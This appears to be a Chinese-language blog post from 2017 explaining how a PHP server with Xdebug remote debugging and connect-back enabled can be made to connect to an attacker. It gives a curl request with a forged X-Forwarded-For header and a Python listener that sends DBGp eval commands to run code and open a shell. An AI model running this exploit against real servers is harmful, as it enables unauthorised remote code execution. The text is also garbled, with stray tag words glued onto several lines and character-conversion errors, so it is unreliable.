title: xdebug插件攻擊
date: 2017-09-30 17:08:38
tags:
前一陣忽然看到一個有關於xdebug的一個攻擊面,不得不說這個想法仍是頗有意思的.本身搭環境記錄一下.php
剛學php的時候用的phpstorm,當時爲了動態調試,配置Xdebug配了好久,當時對這個有一個比較模糊的認識,當時以爲是在瀏覽器還有ide還有server之間是有某些數據交互的,第一次配的的時候當時ide一直監聽收不到數據,當時想要是本身能夠操做數據來測試哪裏出問題就行了,一直耿耿於懷,前一陣忽然看到一個有關於xdebug的一個攻擊面,不得不說這個想法仍是頗有意思的.python
1.ide開始調試監聽本地9000端口shell
2.瀏覽器發送一個帶有XDEBUG_SESSION_START的請求發給服務端瀏覽器
3.服務端收到這個參數,就會通知xdebugcurl
4.xdebug收到通知了就會向來源的地址的9000端口發送一個請求phpstorm
5.ide收到請求並響應創建鏈接socket
以後就是相互通信而後調試代碼了tcp
首先Xdebug有關於遠程調試是使用的DBGp協議ide
下面是有關於通信流程的一個演示函數
通常來講關於xdebug.remote_host這個配置默認是localhost也就是默認通信的的都是localhost,這明顯不利於咱們的利用
可是若是xdebug.remote_connect_back這個配置啓用的話xdebug.remote_host就會被忽略,並經過$ _SERVER ['HTTP_X_FORWARDED_FOR']和$ _SERVER ['REMOTE_ADDR']變量來獲取ip
還有一個就是要開啓xdebug.remote_enable,這個開關控制Xdebug是否應嘗試聯繫正在監聽主機和端口的調試客戶端
xdebug.remote_connect_back = 1 xdebug.remote_enable = 1
也就是這兩個是必要條件
DBGp 的文檔有一些敏感的操做
1.讀文件
source -i transaction_id -f fileURI
2.eval
eval -i transaction_id - {DATA}
只須要構造請求的參數,XDEBUG_SESSION_START=xxx
還須要構造XFF頭
而後檢測服務端是否對XFF的地址的9000端口進行請求,就能夠判斷是否能夠利用,
curl 'http://localhost/1.php?XDEBUG_SESSION_START=phpstrosssm' -H "X-Forwarded-For: localhost"
利用的exp這裏之間粘貼原文章的,就是創建一個tcp的鏈接監聽9000端口而後安裝協議發送數據就能夠了
#!/usr/bin/python2 import socket ip_port = ('0.0.0.0',9000) sk = socket.socket() sk.bind(ip_port) sk.listen(10) conn, addr = sk.accept() while True: client_data = conn.recv(1024) print(client_data) data = raw_input('>> ') conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
利用方式就是先運行exp監聽9000端口
獲取鏈接curl 'http://localhost/1.php?XDEBUG_SESSION_START=phpstrosssm' -H "X-Forwarded-For: 你的公網ip地址"
而後exp接收到鏈接就能夠調用system函數彈shell了.